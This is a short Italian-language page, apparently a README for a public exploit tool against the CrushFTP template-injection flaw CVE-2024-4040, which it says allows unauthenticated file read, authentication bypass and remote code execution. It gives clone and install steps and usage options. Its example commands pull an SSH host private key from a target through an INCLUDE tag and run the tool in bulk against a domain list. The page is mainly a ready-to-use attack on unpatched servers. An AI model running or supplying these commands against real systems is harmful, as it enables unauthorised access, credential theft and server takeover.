
Exploit per la vulnerabilità SSTI di CrushFTP (CVE-2024-4040) che consente lettura di file non autenticata, bypass dell'autenticazione ed esecuzione di codice remoto sui server interessati.
Una vulnerabilità di server side template injection in CrushFTP in tutte le versioni precedenti alla 10.7.1 e alla 11.1.0 su tutte le piattaforme consente a utenti remoti non autenticati di leggere file dal filesystem al di fuori della VFS Sandbox, aggirare l'autenticazione per ottenere accesso amministrativo ed eseguire codice in remoto sul server.
git clone https://github.com/gotr00t0day/CVE-2024-4040.git
cd CVE-2024-4040
pip3 instrall -r requirements.txt
usage: CVE-2024-4040.py [-h] [-t TARGET] [-f FILE] [-d DOMAINS]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target to scan
-f FILE, --file FILE file to fetch
-d DOMAINS, --domains DOMAINS
file containing list of domains
# MAKE SURE YOU USE THE <INCLUDE> TAG OR ANY OTHER TAG TO EXPLOIT THE TARGET, SOMETIMES YOU DONT NEED ANY TAGS.
# Exploit a target
python3 CVE-2024-4040.py -t http://TARGET:8080 -f "<INCLUDE>ssh_host_rsa_key</INCLUDE>"
# Exploit a list of targets
python3 CVE-2024-4040.py -d ~/list.txt -f %hostname%
Leggi ANALISI ATTACKERKB per comprendere meglio come utilizzare questo exploit.